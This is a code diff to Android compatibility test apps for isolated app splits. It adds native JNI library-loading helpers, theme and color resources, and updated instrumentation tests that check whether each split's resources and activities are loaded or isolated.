diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/jni/com_android_cts_isolatedsplitapp_Native.cpp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/jni/com_android_cts_isolatedsplitapp_Native.cpp
new file mode 100644
index 0000000..0542944
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/jni/com_android_cts_isolatedsplitapp_Native.cpp
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "IsolatedSplitApp"
+
+#include <android/log.h>
+#include <dlfcn.h>
+#include <stdio.h>
+
+#include "jni.h"
+
+#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
+
+static jint add(JNIEnv* env, jobject thiz, jint numA, jint numB) {
+    return numA + numB;
+}
+
+typedef int (*pFuncGetNumber)();
+
+static jint get_number_from_other_library(const char* library_file_name,
+                                          const char* function_name) {
+    void* handle;
+    char* error;
+    handle = dlopen(library_file_name, RTLD_LAZY);
+    if (!handle) {
+        LOGE("Can't load %s: %s\n", library_file_name, dlerror());
+        return -1;
+    }
+    pFuncGetNumber functionGetNumber = (pFuncGetNumber)dlsym(handle, function_name);
+    if ((error = dlerror()) != NULL) {
+        LOGE("Can't load function %s: %s\n", function_name, error);
+        dlclose(handle);
+        return -2;
+    }
+    int ret = functionGetNumber();
+    dlclose(handle);
+
+    return ret;
+}
+
+static jint get_number_a_via_proxy(JNIEnv* env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_proxy.so", "get_number_a");
+}
+
+static jint get_number_b_via_proxy(JNIEnv* env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_proxy.so", "get_number_b");
+}
+
+static jint get_number_a_from_provider(JNIEnv* env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_provider_a.so", "get_number");
+}
+
+static jint get_number_b_from_provider(JNIEnv* env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_provider_b.so", "get_number");
+}
+
+static const char* classPathName = "com/android/cts/isolatedsplitapp/Native";
+
+static JNINativeMethod methods[] = {
+        {"add", "(II)I", reinterpret_cast<void*>(add)},
+        {"getNumberAViaProxy", "()I", reinterpret_cast<void**>(get_number_a_via_proxy)},
+        {"getNumberBViaProxy", "()I", reinterpret_cast<void**>(get_number_b_via_proxy)},
+        {"getNumberADirectly", "()I", reinterpret_cast<void**>(get_number_a_from_provider)},
+        {"getNumberBDirectly", "()I", reinterpret_cast<void**>(get_number_b_from_provider)},
+};
+
+static int registerNativeMethods(JNIEnv* env, const char* className, JNINativeMethod* gMethods,
+                                 int numMethods) {
+    jclass clazz;
+
+    clazz = env->FindClass(className);
+    if (clazz == NULL) {
+        LOGE("Native registration unable to find class '%s'", className);
+        return JNI_FALSE;
+    }
+    if (env->RegisterNatives(clazz, gMethods, numMethods) < 0) {
+        LOGE("RegisterNatives failed for '%s'", className);
+        return JNI_FALSE;
+    }
+
+    return JNI_TRUE;
+}
+
+static int registerNatives(JNIEnv* env) {
+    if (!registerNativeMethods(env, classPathName, methods, sizeof(methods) / sizeof(methods[0]))) {
+        return JNI_FALSE;
+    }
+
+    return JNI_TRUE;
+}
+
+jint JNI_OnLoad(JavaVM* vm, void* reserved) {
+    JNIEnv* env = NULL;
+
+    LOGI("JNI_OnLoad %s", classPathName);
+
+    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
+        LOGE("ERROR: GetEnv failed");
+        return JNI_ERR;
+    }
+
+    if (registerNatives(env) != JNI_TRUE) {
+        LOGE("ERROR: registerNatives failed");
+        return JNI_ERR;
+    }
+
+    return JNI_VERSION_1_6;
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/src/com/android/cts/isolatedsplitapp/jni/JniActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/src/com/android/cts/isolatedsplitapp/jni/JniActivity.java
new file mode 100644
index 0000000..342a7e8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/src/com/android/cts/isolatedsplitapp/jni/JniActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.isolatedsplitapp.jni;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class JniActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        String errorMessage = "";
+        try {
+            System.loadLibrary("splitappjni_isolated");
+        } catch (UnsatisfiedLinkError e) {
+            errorMessage = e.getMessage();
+        }
+
+        final Intent resultIntent = new Intent();
+        resultIntent.putExtra(Intent.EXTRA_RETURN_RESULT, errorMessage);
+        setResult(1, resultIntent);
+        finish();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/drawable/base_color_drawable.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/drawable/base_color_drawable.xml
new file mode 100644
index 0000000..b9382ae
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/drawable/base_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/themeBaseColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/layout/base_linearlayout.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/layout/base_linearlayout.xml
new file mode 100644
index 0000000..191266a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/layout/base_linearlayout.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:id="@+id/base_layout"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="wrap_content"
+              android:background="?attr/themeBaseColor">
+</LinearLayout>
+
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/colors.xml
new file mode 100644
index 0000000..e2a6512
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/colors.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/green</color>
+    <color name="navigation_bar_color">@color/black</color>
+    <color name="status_bar_color">@color/red</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/values.xml
index a2b389d..457709d 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="base_string">Base String Polish</string>
+    <string name="theme_name">Base Theme Polish</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/attrs.xml
new file mode 100644
index 0000000..d657844
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/attrs.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="themeName" format="string"/>
+    <attr name="themeBaseColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/colors.xml
new file mode 100644
index 0000000..3e19b55
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/colors.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/black</color>
+    <color name="navigation_bar_color">@color/red</color>
+    <color name="status_bar_color">@color/green</color>
+
+    <color name="black">#ff000000</color>
+    <color name="red">#ffff0000</color>
+    <color name="green">#ff00ff00</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/public.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/public.xml
new file mode 100644
index 0000000..0b43b0a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/public.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <public name="Theme_Base" type="style"/>
+    <public name="themeName" type="attr"/>
+    <public name="themeBaseColor" type="attr"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/styles.xml
new file mode 100644
index 0000000..305edf5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/styles.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <style name="Theme_Base" parent="@android:style/Theme.Material">
+        <item name="themeName">@string/theme_name</item>
+        <item name="themeBaseColor">@color/theme_base_color</item>
+        <item name="android:windowBackground">@drawable/base_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/values.xml
index da33f0b..ec07804 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="base_string">Base String Default</string>
+    <string name="theme_name">Base Theme</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseActivity.java
index e0fafc6..421fab0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseActivity.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseActivity.java
@@ -17,6 +17,28 @@
 package com.android.cts.isolatedsplitapp;
 
 import android.app.Activity;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.os.Bundle;
 
 public class BaseActivity extends Activity {
+    private static Configuration sOverrideConfiguration;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.base_linearlayout);
+    }
+
+    @Override
+    protected void attachBaseContext(Context newBase) {
+        super.attachBaseContext(newBase);
+        if (sOverrideConfiguration != null) {
+            applyOverrideConfiguration(sOverrideConfiguration);
+        }
+    }
+
+    public static void setOverrideConfiguration(Configuration overrideConfiguration) {
+        sOverrideConfiguration = overrideConfiguration;
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/Native.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/Native.java
new file mode 100644
index 0000000..8f4c339
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/Native.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.isolatedsplitapp;
+
+public class Native {
+    static boolean sIsLoadedLibrary;
+    static {
+        try {
+            System.loadLibrary("splitappjni_isolated");
+            sIsLoadedLibrary = true;
+        } catch (UnsatisfiedLinkError e) {
+            sIsLoadedLibrary = false;
+        }
+    }
+
+    public static native int add(int numberA, int numberB);
+    public static native int getNumberAViaProxy();
+    public static native int getNumberBViaProxy();
+    public static native int getNumberADirectly();
+    public static native int getNumberBDirectly();
+    public static boolean isLoadedLibrary() {
+        return sIsLoadedLibrary;
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
index 300f978..e77da9c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
@@ -20,18 +20,24 @@
 import static org.junit.Assert.*;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.res.Configuration;
 import android.content.res.Resources;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
 import android.os.Bundle;
+import android.view.View;
+import android.widget.LinearLayout;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestRule;
@@ -47,6 +53,8 @@
 public class SplitAppTest {
     private static final String PACKAGE = "com.android.cts.isolatedsplitapp";
 
+    private static final ComponentName BASE_ACTIVITY =
+            ComponentName.createRelative(PACKAGE, ".BaseActivity");
     private static final ComponentName FEATURE_A_ACTIVITY =
             ComponentName.createRelative(PACKAGE, ".feature_a.FeatureAActivity");
     private static final ComponentName FEATURE_B_ACTIVITY =
@@ -60,84 +68,123 @@
             "com.android.cts.isolatedsplitapp.feature_b:string/feature_b_string";
     private static final String FEATURE_C_STRING =
             "com.android.cts.isolatedsplitapp.feature_c:string/feature_c_string";
+    private static final String FEATURE_A_TEXTVIEW_ID =
+            "com.android.cts.isolatedsplitapp.feature_a:id/feature_a_text";
+    private static final String FEATURE_B_TEXTVIEW_ID =
+            "com.android.cts.isolatedsplitapp.feature_b:id/feature_b_text";
+    private static final String FEATURE_C_TEXTVIEW_ID =
+            "com.android.cts.isolatedsplitapp.feature_c:id/feature_c_text";
 
     private static final Configuration PL = new Configuration();
     static {
         PL.setLocale(Locale.forLanguageTag("pl"));
     }
 
-    @Rule
-    public ActivityTestRule<BaseActivity> mBaseActivityRule =
-            new ActivityTestRule<>(BaseActivity.class);
-
-    // Do not launch this activity lazily. We use this rule to launch all feature Activities,
+    // Do not launch this activity lazily. We use this rule to launch all Activities,
     // so we use #launchActivity() with the correct Intent.
     @Rule
-    public ActivityTestRule<Activity> mFeatureActivityRule =
+    public ActivityTestRule<Activity> mActivityRule =
             new ActivityTestRule<>(Activity.class, true /*initialTouchMode*/,
                     false /*launchActivity*/);
 
     @Rule
     public AppContextTestRule mAppContextTestRule = new AppContextTestRule();
 
+    @Before
+    public void setUp() {
+        BaseActivity.setOverrideConfiguration(null);
+    }
+
     @Test
     public void shouldLoadDefault() throws Exception {
-        final Context context = mBaseActivityRule.getActivity();
-        final Resources resources = context.getResources();
+        final Activity activity = mActivityRule.launchActivity(
+                new Intent().setComponent(BASE_ACTIVITY));
+        final TestTheme testTheme = new TestTheme(activity, R.style.Theme_Base);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+        testTheme.assertThemeBaseValues();
+
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
 
         // The base does not depend on any splits so no splits should be accessible.
-        assertActivitiesDoNotExist(context, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY,
+        assertActivitiesDoNotExist(activity, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY,
                 FEATURE_C_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_A_STRING, FEATURE_B_STRING, FEATURE_C_STRING);
+        assertResourcesDoNotExist(activity, FEATURE_A_STRING, FEATURE_B_STRING, FEATURE_C_STRING,
+                TestTheme.THEME_FEATURE_A, TestTheme.THEME_FEATURE_B, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
     public void shouldLoadPolishLocale() throws Exception {
-        final Context context = mBaseActivityRule.getActivity().createConfigurationContext(PL);
-        final Resources resources = context.getResources();
+        BaseActivity.setOverrideConfiguration(PL);
+        final Activity activity = mActivityRule.launchActivity(
+                new Intent().setComponent(BASE_ACTIVITY));
+        final TestTheme testTheme = new TestTheme(activity, R.style.Theme_Base);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Polish"));
+        testTheme.assertThemeBaseValues_pl();
+
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
 
         // The base does not depend on any splits so no splits should be accessible.
-        assertActivitiesDoNotExist(context, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY,
+        assertActivitiesDoNotExist(activity, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY,
                 FEATURE_C_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_A_STRING, FEATURE_B_STRING, FEATURE_C_STRING);
+        assertResourcesDoNotExist(activity, FEATURE_A_STRING, FEATURE_B_STRING, FEATURE_C_STRING,
+                TestTheme.THEME_FEATURE_A, TestTheme.THEME_FEATURE_B, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
     public void shouldLoadFeatureADefault() throws Exception {
-        final Context context = mFeatureActivityRule.launchActivity(
+        final Activity activity = mActivityRule.launchActivity(
                 new Intent().setComponent(FEATURE_A_ACTIVITY));
-        final Resources resources = context.getResources();
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_A);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues();
 
         int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature A String Default"));
+        testTheme.assertThemeFeatureAValues();
 
-        assertActivitiesDoNotExist(context, FEATURE_B_ACTIVITY, FEATURE_C_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_B_STRING, FEATURE_C_STRING);
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_A_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_B_ACTIVITY, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_B_STRING, FEATURE_C_STRING,
+                TestTheme.THEME_FEATURE_B, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
     public void shouldLoadFeatureAPolishLocale() throws Exception {
-        final Context context = mFeatureActivityRule.launchActivity(
-                new Intent().setComponent(FEATURE_A_ACTIVITY)).createConfigurationContext(PL);
-        final Resources resources = context.getResources();
+        BaseActivity.setOverrideConfiguration(PL);
+        final Activity activity = mActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_A_ACTIVITY));
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_A);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Polish"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues_pl();
 
         int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature A String Polish"));
+        testTheme.assertThemeFeatureAValues_pl();
 
-        assertActivitiesDoNotExist(context, FEATURE_B_ACTIVITY, FEATURE_C_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_B_STRING, FEATURE_C_STRING);
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_A_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_B_ACTIVITY, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_B_STRING, FEATURE_C_STRING,
+                TestTheme.THEME_FEATURE_B, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
@@ -154,40 +201,57 @@
     @Test
     public void shouldLoadFeatureBDefault() throws Exception {
         // Feature B depends on A, so we expect both to be available.
-        final Context context = mFeatureActivityRule.launchActivity(
+        final Activity activity = mActivityRule.launchActivity(
                 new Intent().setComponent(FEATURE_B_ACTIVITY));
-        final Resources resources = context.getResources();
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_B);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues();
 
         int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature A String Default"));
+        new TestTheme(activity, TestTheme.THEME_FEATURE_A).assertThemeFeatureAValues();
 
         resourceId = resources.getIdentifier(FEATURE_B_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature B String Default"));
+        testTheme.assertThemeFeatureBValues();
 
-        assertActivitiesDoNotExist(context, FEATURE_C_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_C_STRING);
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_B_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_C_STRING, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
     public void shouldLoadFeatureBPolishLocale() throws Exception {
-        final Context context = mFeatureActivityRule.launchActivity(
-                new Intent().setComponent(FEATURE_B_ACTIVITY)).createConfigurationContext(PL);
-        final Resources resources = context.getResources();
+        BaseActivity.setOverrideConfiguration(PL);
+        final Activity activity = mActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_B_ACTIVITY));
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_B);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Polish"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues_pl();
 
         int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature A String Polish"));
+        new TestTheme(activity, TestTheme.THEME_FEATURE_A).assertThemeFeatureAValues_pl();
 
         resourceId = resources.getIdentifier(FEATURE_B_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature B String Polish"));
+        testTheme.assertThemeFeatureBValues_pl();
 
-        assertActivitiesDoNotExist(context, FEATURE_C_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_C_STRING);
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_B_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_C_STRING, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
@@ -203,34 +267,75 @@
 
     @Test
     public void shouldLoadFeatureCDefault() throws Exception {
-        final Context context = mFeatureActivityRule.launchActivity(
+        final Activity activity = mActivityRule.launchActivity(
                 new Intent().setComponent(FEATURE_C_ACTIVITY));
-        final Resources resources = context.getResources();
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_C);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues();
 
         int resourceId = resources.getIdentifier(FEATURE_C_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature C String Default"));
+        testTheme.assertThemeFeatureCValues();
 
-        assertActivitiesDoNotExist(context, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_A_STRING, FEATURE_B_STRING);
